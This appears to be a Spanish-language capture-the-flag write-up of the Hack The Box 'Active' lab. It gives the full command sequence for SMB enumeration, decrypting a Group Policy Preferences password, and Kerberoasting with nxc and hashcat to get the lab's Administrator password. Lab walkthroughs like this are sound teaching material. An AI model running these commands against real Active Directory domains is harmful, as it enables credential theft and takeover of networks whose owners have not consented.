Skip to main content

Command Palette

Search for a command to run...

Active WriteUp

Active is an easy to medium difficulty machine, which features two very prevalent techniques to gain privileges within an Active Directory environment.

Updated
3 min read
Active WriteUp

Enumeracion

Iniciamos con un escaneo de nmap:

$ nmap -sV -Pn -sC -T4 10.10.10.100

Entramos como anonymous al smb para enumerar los shares disponbibles con:

$ smbclient -L //10.10.10.100

Dentro encontramos unas policies con las credenciales de la cuenta de servicio svc_tgs con su clave edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ cifrada

Buscamos informacion sobre como decodear la clave obtenida

https://github.com/t0thkr1s/gpp-decrypt

Deciframos la clave con gpp-decrypt

Conseguimos decifrar la clave: GPPstillStandingStrong2k18


Acceso Inicial

Enumeramos los shares disponibles como svc_tgs:

$ nxc smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares

Listamos los contenidos dentro de /Users:

$ smbclient //10.10.10.100/Users -U '10.10.10.100\svc_tgs%GPPstillStandingStrong2k18'

Obtenemos la flag de user.txt en \SVC_TGS\Desktop\

Enumeramos todo el AD con bloodhound para ver posibles vectores de escalada:

$ bloodhound-python -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -d active.htb -ns 10.10.10.100 -c All --zip

Encontramos que la cuenta Administrator posee un SPN apuntando al servicio de Samba en el puerto 445:

Service Principal Names: active/CIFS:445

Un SPN (Service Principal Name o Nombre Principal del Servicio) es un identificador único en un entorno de Active Directory (AD) que asocia una instancia de servicio (como un servidor web o de bases de datos) con la cuenta de servicio que la ejecuta, permitiendo a los clientes autenticarse y conectarse al servicio correcto mediante el protocolo Kerberos.

  • Kerberos permite a cualquier usuario de dominio solicitar un ticket de servicio (TGS) para un SPN público, el DC entrega el ticket porque el cliente legítimo necesitaría ese ticket para autenticarse al servicio. No se exige privilegio especial para pedirlo.

  • Ese TGS contiene una parte cifrada con la clave del servicio, y esa clave se deriva de la contraseña de la cuenta que tiene asignado el SPN (si es una cuenta de usuario o de servicio con contraseña).

  • El atacante pide el TGS, lo guarda y extrae el bloque cifrado. Como el cifrado está basado en la clave/contraseña del servicio, el bloque se puede atacar offline (brute-force / dictionary) hasta recuperar la contraseña si ésta es débil.

  • Por eso cualquier SPN que apunte a una cuenta con una contraseña debil es vulnerable: no importa qué servicio sea, lo que importa es que el ticket se cifre con la clave de esa cuenta.


PrivEsc via Kerberoasting

Solicitamos el ticket para el SPN objetivo con la cuenta SVC_TGS y lo volcamos a tgt.txt (archivo con el ticket cifrado):

$ nxc ldap 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --kerberoast tgt.txt

Crackeamos el ticket obtenido con hashcat y obtenemos la clave de Administrator:

$ hashcat tgt.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Password: Ticketmaster1968

Nos conectamos mediante SMB a /Users como Administrator con la clave previamente obtenida:

$ smbclient //10.10.10.100/Users -U '10.10.10.100\Administrator%Ticketmaster1968'

Obtenemos la flag de root.txt en \Administrator\Desktop\


📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

Nano

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.